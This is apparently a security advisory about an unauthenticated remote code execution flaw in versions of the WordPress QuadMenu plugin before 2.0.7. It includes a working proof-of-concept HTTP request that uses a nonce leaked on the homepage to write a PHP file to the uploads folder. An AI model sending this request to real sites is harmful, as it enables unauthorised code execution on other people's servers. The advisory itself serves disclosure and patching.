QuadMenu < 2.0.7 – Unauthenticated RCE via compiler_save

Description

The compiler_save AJAX action, available to both authenticated and unauthenticated users did not check the extension of the imported file, and had the nonce used for CSRF check displayed in the homepage. This could allow unauthenticated users to create an arbitrary PHP file on the blog, leading to RCE.

Proof of Concept

Get the nonce from the homepage, ie var quadmenu = {"nonce":"b74eed0e4f","gutter":"30"};

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: YOLO
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 120
Connection: close

action=quadmenu_compiler_save&nonce=b74eed0e4f&output[imports][0]=info.php&output[css]=%3c%3fphp%20phpinfo()%3b%20%3f%3e

The created file will be located at /wp-content/uploads/<main-theme>/info.php (path is in the response)